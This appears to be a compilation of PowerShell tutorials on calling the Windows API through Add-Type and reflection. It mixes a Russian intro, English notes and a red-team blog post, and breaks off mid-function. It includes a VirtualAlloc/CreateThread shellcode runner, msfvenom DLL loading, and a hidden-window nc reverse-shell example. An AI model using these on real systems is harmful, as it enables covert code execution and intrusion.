Windows api с помощью powershell

Введение

Подсказка

Документация доступна на русском и английском языках. Чтобы изменить язык, используйте переключатель на верхней панели сайта (слева от поиска).

Этот проект документации основан на серии статей Мэтта Гребера:

  • Use PowerShell to Interact with the Windows API: Part 1
  • Use PowerShell to Interact with the Windows API: Part 2
  • Use PowerShell to Interact with the Windows API: Part 3

Здесь вы найдете инструкции и примеры доступа к Windows API (ранее называлось Win32 API) из сценариев на PowerShell. Рассматриваются три альтернативных способов вызова функции CopyFile и демонстрируется создание модуля PowerShell, предоставляющего командлет Copy-RawItem. Этот коммандлет отличается от стандартного Copy-Item тем, что он может обрабатывать специальные пути к объектам устройств. Например, это могут быть пути пути к файлам, сохраненным cлужбой теневого копирования томов:

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1_

Также демонстрируется обработка ошибок, которые могут быть выданы вызванным методом Windows API.

Copy-RawItem result

Совет

Доступ к CopyFile рассматривается в качестве простого базового примера. Вы можете использовать аналогичный подход для доступа к другим Windows API.

Содержание

  • Три способа вызвать метод Windows API
    • Использование коммандлета Add-Type для вызова функции Windows API
    • Получение приватного .NET метода вызывающего функцию Windows API
    • Вызов функции Windows API из динамически определенного метода
  • Заключение

Примечание

Некоторые разделы еще не закончены, контент дорабатывается.

Примеры кода

Примеры из этой документации доступны на GitHub: powershell-winapi-tutorial/examples/.

Call WinAPI functions in PowerShell using delegate functions with Add-Type and Reflection types

Simplest Method

$code = @"
using System;
using System.Runtime.InteropServices;

public class User32Interop {
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
}

public class Program {
    public static void Main() {
        User32Interop.MessageBox(IntPtr.Zero, "Hello, MessageBox!", "MessageBox Example", 0);
    }
}
"@

Add-Type -TypeDefinition $code -Language CSharp

[Program]::Main()

Resolve address functions

To perform reflection we first need to obtain GetModuleHandle and GetProcAdresse to be able to lookup of Win32 API function addresses.

To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.

# Retrieve all loaded Assemblies
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods 
$Assemblies |
  ForEach-Object {
    $_.GetTypes()|
      ForEach-Object {
          $_ | Get-Member -Static| Where-Object {
            $_.TypeName.Contains('Unsafe')
          }
      } 2> $nul l

We want to find where the Assemblies are located, so we will use the statement Location. Then we will look for all the methods inside the Assembly Microsoft.Win32.UnsafeNativeMethods
TBN: GetModuleHandle and GetProcAddress are located in C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll

If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property GlobalAssemblyCache set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the System.dll.

$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') 
})
  
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

To retrieve the method GetModuleHandle, we can use the method GetMethod(<METHOD_NAME>) to retrieve it.
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

Now we can use the Invoke method of our object $GetModuleHandle to get a reference of an unmanaged DLL.
Invoke takes two arguments and both are objects:

  • The first argument is the object to invoke it on but since we use it on a static method we may set it to «$null».
  • The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
    $GetModuleHandle.Invoke($null, @("user32.dll"))

However, we want to use the same method to use the function GetProcAddress, it won’t work due to the fact that our System.dll object retrieved contains multiple occurences of the method GetProcAddress. Therefore the internal method GetMethod() will throw an error "Ambiguous match found.".

Therefore we will use the method GetMethods() to get all the available methods and then iterate over them to retrieve only those we want.

$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}

If we want to get the GetProcAddress reference, we will construct an array to store our matching object and use the first entry.

$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]

We need to take the first one, because the arguments type of the second one does not match with ours.

Alternatively we can use GetMethod function to precise the argument types that we want.

$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress',
			     [reflection.bindingflags]'Public,Static', 
			     $null, 
                             [System.Reflection.CallingConventions]::Any,
                             @([System.IntPtr], [string]), 
                             $null);

cf: https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0

Now we have everything to resolve any function address we want.

$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))

If we put everything in a function:

function LookupFunc {

    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

DelegateType Reflection

To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through DelegateType.
The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.

The first step is to create a new assembly with the class AssemblyName and assign it a name.

$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')

Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method DefineDynamicAssembly will be used.

$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)

Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method DefineDynamicModule
The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.

$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

The next step consists by creating a custom type that will become our delegate type. It can be done with the method DefineType.
The arguments are:

  • a custom name
  • the attributes of the type
  • the type it build on top of
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

Then we will need to set the prototype of our function.
First we need to use the method DefineConstructor to define a constructor. The method takes three arguments:

  • the attributes of the constructor
  • calling convention
  • the parameter types of the constructor that will become the function prototype
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',
                                                        [System.Reflection.CallingConventions]::Standard,
                                                        @([IntPtr], [String], [String], [int]))

Then we need to set some implementation flags with the method SetImplementationFlags.

$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

To be able to call our function, we need to define the Invoke method in our delegate type. For that the method DefineMethod allows us to do that.
The method takes four arguments:

  • name of the method defined
  • method attributes
  • return type
  • array of argument types
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
                                                'Public, HideBySig, NewSlot, Virtual',
                                                [int],
                                                @([IntPtr], [String], [String], [int]))

If we put everything in a function:

function Get-Delegate
{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
        [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
        [Parameter(Position = 2)] [Type] $retType = [Void] # Return type
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('QM', $false).
    DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
    $delegate = $type.CreateType()

    return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}

Example with a simple shellcode runner

# Create a Delegate function  to be able to call the function that we have the address
function Get-Delegate
{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
        [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
        [Parameter(Position = 2)] [Type] $retType = [Void] # Return type
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('QM', $false).
    DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
    $delegate = $type.CreateType()

    return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Allow to retrieve function address from a dll
function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

# Simple Shellcode runner using delegation
$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc"
$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread"
$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject" 


$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int])

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ...

$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)
$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)

Tested Example Code

Working Code

  1. Add-Type code compilation
$code = @"
using System;
using System.Runtime.InteropServices;

public class User32Interop {
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
}

public class Program {
    public static void Main() {
        User32Interop.MessageBox(IntPtr.Zero, "Hello, MessageBox!", "MessageBox Example", 0);
    }
}
"@

Add-Type -TypeDefinition $code -Language CSharp

[Program]::Main()
  1. Searching Dll and unsafe native function
# Load System.dll
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })

# Get the type for Microsoft.Win32.UnsafeNativeMethods
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')

# Get the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')

# Load user32.dll to obtain the module handle
$user32 = "user32.dll"
$moduleHandle = $GetModuleHandle.Invoke($null, @($user32))

# Use GetProcAddress to obtain the address of MessageBoxA
$functionName = "MessageBoxA"
$functionPointer = $GetProcAddress.Invoke($null, @($moduleHandle, $functionName))

# Define the MessageBox parameters
$MB_OK = 0x00000000
$MB_ICONINFORMATION = 0x00000040

# Define the MessageBoxA delegate
$signature = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("$user32", CharSet = CharSet.Unicode)]
    public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
}
"@

# Compile the delegate
Add-Type -TypeDefinition $signature

# Call the MessageBoxA function using the function pointer
[User32]::MessageBox([System.IntPtr]::Zero, "Hello, MessageBox!", "MessageBox Example", ($MB_OK -bor $MB_ICONINFORMATION))
  1. Delegate Type Reflection
# Define a function to look up a function pointer in a DLL
function LookupFunc {
   Param (
       $moduleName,
       $functionName
   )

   # Get the assembly containing Microsoft.Win32.UnsafeNativeMethods from the GAC
   $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
       Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

   $tmp = @()

   # Find and store the GetProcAddress method from the assembly
   $assem.GetMethods() | ForEach-Object {
       if ($_.Name -eq "GetProcAddress") {
           $tmp += $_
       }
   }

   # Invoke GetProcAddress to obtain the function pointer
   return $tmp[0].Invoke(
       $null,
       @(
           ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)),
           $functionName
       )
   )
}

# Look up the function pointer for MessageBoxA in user32.dll
$MessageBoxA = LookupFunc "user32.dll" "MessageBoxA"

# Create a dynamic assembly and delegate type
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly(
   $MyAssembly,
   [System.Reflection.Emit.AssemblyBuilderAccess]::Run
)

$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$MyTypeBuilder = $MyModuleBuilder.DefineType(
   'MyDelegateType',
   'Class, Public, Sealed, AnsiClass, AutoClass',
   [System.MulticastDelegate]
)

# Define the constructor for the delegate type
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
   'RTSpecialName, HideBySig, Public',
   [System.Reflection.CallingConventions]::Standard,
   @([IntPtr], [String], [String], [int])
)
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

# Define the Invoke method for the delegate type
$MyMethodBuilder = $MyTypeBuilder.DefineMethod(
   'Invoke',
   'Public, HideBySig, NewSlot, Virtual',
   [int],
   @([IntPtr], [String], [String], [int])
)
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')

# Create the delegate type
$MyDelegateType = $MyTypeBuilder.CreateType()

# Create a delegate instance using GetDelegateForFunctionPointer
$MyFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
   $MessageBoxA,
   $MyDelegateType
)

# Invoke the delegate to call MessageBoxA
$MyFunction.Invoke([IntPtr]::Zero, "Hello World", "This is My MessageBox", 0)

Hola, as I’m sure you know by now PowerShell, aka Microsoft’s post-exploitation language, is pretty awesome! Extending PowerShell with C#\.NET means that you can do pretty much anything. Sometimes, native PowerShell functionality is not enough and low-level access to the Windows API is required. One example of this is the NetSessionEnum API which is used by tools such as NetSess and Veil-Powerview to remotely enumerate active sessions on domain machines. In this post we will look at a few examples that will hopefully get you going on scripting together you own Windows API calls!

It should be noted that the examples below are using C# to define the Windows API structs. This is not optimal from an attackers perspective as the C# compilation will write temporary files to disk at runtime. However, using the .NET System.Reflection namespace adds some overhead to what we are trying to achieve. Once the basics have been understood, it is relatively easy to piggyback the great work done by Matt Graeber to get true in-memory residence.

Resources:
+ Pinvoke — here
+ Use PowerShell to Interact with the Windows API: Part 1 — here
+ Use PowerShell to Interact with the Windows API: Part 2 — here
+ Use PowerShell to Interact with the Windows API: Part 3 — here
+ Accessing the Windows API in PowerShell via .NET methods and reflection — here
+ Deep Reflection: Defining Structs and Enums in PowerShell — here

Download:
+ Invoke-CreateProcess.ps1 — here
+ Invoke-NetSessionEnum.ps1 — here

User32 : : MessageBox

Creating a message box is probably one of the most straight forward examples as the API call requires very little input. Make sure to check out the pinvoke entry for MessageBox to get a head-start on the structure definition and the MSDN entry to get a better understanding of the structure parameters.

The C++ function structure from MSDN can be seen below.

int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
);

This easily translates to c#, it is almost a literal copy/paste of the example on pinvoke.

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public static class User32
{
	[DllImport("user32.dll", CharSet=CharSet.Auto)]
        public static extern bool MessageBox(
            IntPtr hWnd,     /// Parent window handle 
            String text,     /// Text message to display
            String caption,  /// Window caption
            int options);    /// MessageBox type
}
"@

[User32]::MessageBox(0,"Text","Caption",0) |Out-Null

Executing the code above pops the expected message box.

Obviously you can change the parameters you pass to the message box function, for example the message box type.

[User32]::MessageBox(0,"Text","Caption",0x4)

User32 : : CallWindowProc

Let’s try something a bit more complicated, what if we wanted to call an exported function inside a dll. Basically we would need to perform the following steps.

[Kernel32]::LoadLibrary                 # Load DLL
    |___[Kernel32]::GetProcAddress      # Get function pointer
           |___[User32]::CallWindowProc # Call function

There is some cheating here, CallWindowProc will only work if the function does not expect any parameters. However for demonstration purposes it suites our needs.

User32.dll contains a function (LockWorkStation) which can be used to lock the user’s desktop. The code to execute that function can be seen below.

function Instantiate-LockDown {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    
    public static class Kernel32
    {
        [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
            public static extern IntPtr LoadLibrary(
                [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
            
        [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
            public static extern IntPtr GetProcAddress(
                IntPtr hModule,
                string procName);
    }
    
    public static class User32
    {
        [DllImport("user32.dll")]
            public static extern IntPtr CallWindowProc(
                IntPtr wndProc,
                IntPtr hWnd,
                int msg,
                IntPtr wParam,
                IntPtr lParam);
    }
"@
    
    $LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
    $FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation")
    
    if ([System.IntPtr]::Size -eq 4) {
        echo "`nKernel32::LoadLibrary   --> 0x$("{0:X8}" -f $LibHandle.ToInt32())"
        echo "User32::LockWorkStation --> 0x$("{0:X8}" -f $FuncHandle.ToInt32())"
    }
    else {
        echo "`nKernel32::LoadLibrary   --> 0x$("{0:X16}" -f $LibHandle.ToInt64())"
        echo "User32::LockWorkStation --> 0x$("{0:X16}" -f $FuncHandle.ToInt64())"
    }
    
    echo "Locking user session..`n"
    [User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
}

Running the script immediately locks the user’s desktop.

After logging back in we can see the output provided by the function.

MSFvenom : : WinExec (..or not)

On the back of the previous example let’s try the same thing with a DLL that was generated by msfvenom.

I haven’t personally had much occasion to use the metasploit DLL payload format as it never seem to do exactly what I need. To edify the situation I had a quick look in IDA which revealed that everything is exposed through DLLMain.

In an pretty humorous twist, further investigation revealed that the DLL is not actually using WinExec! Instead, the DLL sets up a call to CreateProcess.

The call is a bit odd, it looks like CreateProcess is starting «rundll32.exe» in a suspended state (dwCreationFlags = 0x44). I’m not sure why «rundll32.exe» is placed in lpCommandLine as it would normally be in lpApplicationName, regardless it is perfectly valid as lpApplicationName can be NULL in which case the first parameter of lpCommandLine would be treated as the module name.

The shellcode then gets a handle to the process, injects a payload byte array and resumes the thread.

Coming back to our initial goal, executing the payload from PowerShell is pretty straight forward. As everything is in DLLMain we would only need to call LoadLibrary with the appropriate path to the DLL. The one complication is that PowerShell will freeze once we make the LoadLibrary call, to avoid this we can use Start-Job to background the process.

function Instantiate-MSFDLL {
	$ScriptBlock = { 
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        
        public static class Kernel32
        {
            [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
                public static extern IntPtr LoadLibrary(
                    [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
        }
"@  
        
        [Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
    }
	
	Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock
}

Executing the function gives us calc.

Kernel32 : : CreateProcess

So far we have had it pretty easy, all the API calls have been relatively small and uncomplicated. That is not always the case however, a good example is the CreateProcess API call. It happens sometimes that you need to run a command on a remote machine, but … it pops up a console window. I’ve run into this issue a few times and there is not really a straightforward solution (don’t even think of proposing a VBS wrapper). Fortunately, if we go down to the Windows API we find CreateProcess which offers much more fine-grained control over process creation, including the ability to remove the GUI window of console applications. It still dismays me that in PowerShell, the «-WindowStyle Hidden» flag does not somehow hook into CreateProcess to hide the console completely.

Either way, having a function which can take full advantage of CreateProcess would be very useful from time to time. Let’s see if we can make that happen. Remember to consult pinvoke for C# examples.

Resources:
+ CreateProcess — here
+ STARTUPINFO — here
+ PROCESS_INFORMATION — here
+ SECURITY_ATTRIBUTES — here

BOOL WINAPI CreateProcess(
  _In_opt_    LPCTSTR               lpApplicationName,
  _Inout_opt_ LPTSTR                lpCommandLine,
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,  --> SECURITY_ATTRIBUTES Struct
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LPVOID                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,       --> STARTUPINFO Struct
  _Out_       LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct
);

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
	public IntPtr hProcess;
    public IntPtr hThread;
    public uint dwProcessId;
    public uint dwThreadId;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
	public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
	public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
	public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public short wShowWindow;
	public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
	public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
	public int length;
    public IntPtr lpSecurityDescriptor;
    public bool bInheritHandle;
}

public static class Kernel32
{
	[DllImport("kernel32.dll", SetLastError=true)]
	public static extern bool CreateProcess(
		string lpApplicationName,
        string lpCommandLine,
        ref SECURITY_ATTRIBUTES lpProcessAttributes, 
		ref SECURITY_ATTRIBUTES lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags, 
		IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo, 
		out PROCESS_INFORMATION lpProcessInformation);
}
"@
	
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION

# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)

# CreateProcess --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null

The flags which were set above should create a «cmd.exe» process that has no window, which in turn launches calc. In fact you can confirm cmd has no associated window with process explorer.

Obviously repurposing this code is a bit bothersome so I poured in into a nice function for reuse.

PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full

NAME
    Invoke-CreateProcess

SYNOPSIS
    -Binary            Full path of the module to be executed.

    -Args              Arguments to pass to the module, e.g. "/c calc.exe". Defaults
                       to $null if not specified.

    -CreationFlags     Process creation flags:
                         0x00000000 (NONE)
                         0x00000001 (DEBUG_PROCESS)
                         0x00000002 (DEBUG_ONLY_THIS_PROCESS)
                         0x00000004 (CREATE_SUSPENDED)
                         0x00000008 (DETACHED_PROCESS)
                         0x00000010 (CREATE_NEW_CONSOLE)
                         0x00000200 (CREATE_NEW_PROCESS_GROUP)
                         0x00000400 (CREATE_UNICODE_ENVIRONMENT)
                         0x00000800 (CREATE_SEPARATE_WOW_VDM)
                         0x00001000 (CREATE_SHARED_WOW_VDM)
                         0x00040000 (CREATE_PROTECTED_PROCESS)
                         0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
                         0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
                         0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
                         0x04000000 (CREATE_DEFAULT_ERROR_MODE)
                         0x08000000 (CREATE_NO_WINDOW)

    -ShowWindow        Window display flags:
                         0x0000 (SW_HIDE)
                         0x0001 (SW_SHOWNORMAL)
                         0x0001 (SW_NORMAL)
                         0x0002 (SW_SHOWMINIMIZED)
                         0x0003 (SW_SHOWMAXIMIZED)
                         0x0003 (SW_MAXIMIZE)
                         0x0004 (SW_SHOWNOACTIVATE)
                         0x0005 (SW_SHOW)
                         0x0006 (SW_MINIMIZE)
                         0x0007 (SW_SHOWMINNOACTIVE)
                         0x0008 (SW_SHOWNA)
                         0x0009 (SW_RESTORE)
                         0x000A (SW_SHOWDEFAULT)
                         0x000B (SW_FORCEMINIMIZE)
                         0x000B (SW_MAX)

    -StartF            Bitfield to influence window creation:
                         0x00000001 (STARTF_USESHOWWINDOW)
                         0x00000002 (STARTF_USESIZE)
                         0x00000004 (STARTF_USEPOSITION)
                         0x00000008 (STARTF_USECOUNTCHARS)
                         0x00000010 (STARTF_USEFILLATTRIBUTE)
                         0x00000020 (STARTF_RUNFULLSCREEN)
                         0x00000040 (STARTF_FORCEONFEEDBACK)
                         0x00000080 (STARTF_FORCEOFFFEEDBACK)
                         0x00000100 (STARTF_USESTDHANDLES)

SYNTAX
    Invoke-CreateProcess [-Binary] <String> [[-Args] <String>] [-CreationFlags] <Int32> [-ShowWindow]
    <Int32> [-StartF] <Int32> [<CommonParameters>]


DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None


PARAMETERS
    -Binary <String>

        Required?                    true
        Position?                    1
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -Args <String>

        Required?                    false
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -CreationFlags <Int32>

        Required?                    true
        Position?                    3
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -ShowWindow <Int32>

        Required?                    true
        Position?                    4
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -StartF <Int32>

        Required?                    true
        Position?                    5
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, type,
        "get-help about_commonparameters".

INPUTS

OUTPUTS

    -------------------------- EXAMPLE 1 --------------------------

    Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW

    C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
           -StartF 0x1


    -------------------------- EXAMPLE 2 --------------------------

    Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

    C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
           C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

NONE/SW_NORMAL/STARTF_USESHOWWINDOW
Here we are just launching plain calc without any fluff.

CREATE_NEW_CONSOLE/SW_NORMAL/STARTF_USESHOWWINDOW
Here cmd is launched in a new console and is displayed normally.

CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
Here cmd is being called with no window, which in turn executes a bitsadmin command to grab and execute a binary from the greyhathacker domain.

Netapi32 : : NetSessionEnum

For our final example we will have a look at the NetSessionEnum API. This is a great little API gem, especially when it comes to redteaming, it allows a domain user to enumerate authenticated sessions on domain-joined machines and it does not require Administrator privileges. As I mentioned in the introduction, there are already great tools that leverage this, most notably NetSess and Veil-Powerview. The script below is very similar to «Get-NetSessions» in powerview except that it is not using reflection.

function Invoke-NetSessionEnum {
<#
.SYNOPSIS

